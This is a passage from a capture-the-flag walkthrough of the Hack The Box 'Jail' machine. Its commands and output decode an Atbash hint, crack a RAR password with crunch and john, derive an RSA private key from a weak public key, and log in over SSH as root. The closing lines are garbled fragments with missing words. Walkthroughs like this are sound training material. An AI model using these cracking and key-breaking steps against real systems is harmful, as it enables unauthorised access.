drwxr-x---. 3 root adm  52 Jul  3  2017 ..
-rw-r-----. 1 root adm 113 Jul  3  2017 .frank

Which has the following content.

cat /var/adm/.keys/.local/.frank

Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

It detects that the message has been encrypted with Atbash Cipher. It is able to decipher the message.

It says something about escaping Alcatraz. Some googling will show that there was a guy who escaped jail in Alcatraz called Frank Morris.

Now we have the last name of Frank and a year with four digits, we need to know the special character. We can create a wordlist with crunch composed of the Morris1962 and a special character.

crunch 11 11 -t Morris1962^ > pwds

Now, get the hash of the keys.rar file.

rar2john keys.rar > keys.rar.hash

And break the password with john using the custom dictionary.

john --wordlist=pwds keys.rar.hash

Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 128/128 SSE2 4x AES])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Morris1962!      (keys.rar)     
1g 0:00:00:00 DONE (2023-03-12 23:07) 6.250g/s 206.2p/s 206.2c/s 206.2C/s Morris1962!..Morris1962 
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now, decompress the keys.rar file using the Morris1962! password.

unrar x keys.rar

UNRAR 6.21 beta 1 freeware      Copyright (c) 1993-2023 Alexander Roshal


Extracting from keys.rar

Enter password (will not be echoed) for rootauthorizedsshkey.pub: 

Extracting  rootauthorizedsshkey.pub                                  OK 
All OK

The compressed file contained a public key called rootauthorizedsshkey.pub.

cat rootauthorizedsshkey.pub

-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQYHLL65S3kVbhZ6kJnpf072
YPH4Clvxj/41tzMVp/O3PCRVkDK/CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//
DmcIo1pJGKy8LDrwdpsSjVmvSgg39nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6Pd
D/qlaFM8B87MHZlW1fqe6QKBgQVY7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/w
Wt2/7A1Xgi5ckTFMG5EXhfv67GfCFE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAx
I85LArqOGc6QoVPS7jx5h5bK/3Oqm3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFug
a99GCw==
-----END PUBLIC KEY-----

python RsaCtfTool.py --public /home/alfa8sa/HTB/machines/jail/rootauthorizedsshkey.pub --private

...
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICOgIBAAKBgQYHLL65S3kVbhZ6kJnpf072YPH4Clvxj/41tzMVp/O3PCRVkDK/
CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//DmcIo1pJGKy8LDrwdpsSjVmvSgg3
9nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6PdD/qlaFM8B87MHZlW1fqe6QKBgQVY
7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/wWt2/7A1Xgi5ckTFMG5EXhfv67GfC
FE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAxI85LArqOGc6QoVPS7jx5h5bK/3Oq
m3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFuga99GCwIgCMdb8cTpq+uOUyIK2Jrg
PNxrCGF8HNhw8qT9jCez3aMCQQHBKGne1ibAwbqvPTd91cBUKfFYYIAY9a6/Iy56
XnGBS35kpKZB7j5dMZxxOwPDowgZr9aGNAzcFAeCaP5jj3DhAkEDb4p9D5gqgSOc
NXdU4KxzvZeBQn3IUyDbJ0J4pniHZzrYq9c6MiT1Z9KHfMkYGozyMd16Qyx4/Isf
bc51aYmHCQIgCMdb8cTpq+uOUyIK2JrgPNxrCGF8HNhw8qT9jCez3aMCIAjHW/HE
6avrjlMiCtia4DzcawhhfBzYcPKk/Ywns92jAkEBZ7eXqfWhxUbK7HsKf9IkmRRi
hxnHNiRzKhXgV4umYdzDsQ6dPPBnzzMWkB7SOE5rxabZzkAinHK3eZ3HsMsC8Q==
-----END RSA PRIVATE KEY-----

It was able to break the public key and obtain the private key. Put it into the id_rsa file.

nano id_rsa; chmod 600 id_rsa

-----BEGIN RSA PRIVATE KEY-----
MIICOgIBAAKBgQYHLL65S3kVbhZ6kJnpf072YPH4Clvxj/41tzMVp/O3PCRVkDK/
...
hxnHNiRzKhXgV4umYdzDsQ6dPPBnzzMWkB7SOE5rxabZzkAinHK3eZ3HsMsC8Q==
-----END RSA PRIVATE KEY-----

If we try to log in as root, we'll get the following error.

ssh -i id_rsa root@10.10.10.34

sign_and_send_pubkey: no mutual signature supported
root@10.10.10.34's password:

ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id_rsa root@10.10.10.34

[root@localhost ~]# whoami
root
[root@localhost ~]# cat root.txt
7768ab68df728ad430bdd18e71a6c798

If we run the script, we'll see that it doesn't work. This might happen because ESP has limited space. But, we can change the shellcode to with will fit ESP.

We can put this cipher text into the .

But it seems like it is quite short. It might be a weak key that we can break. Let's use and try to break it.

As we can see , we need to add the following parameter. Then, we'll be able to log in as root, and all we have to do is reap the harvest and take the root flag.

50 bytes long shellcode
https://gtfobins.github.io/
dcode.fr cipher identifier
RsaCtfTool
here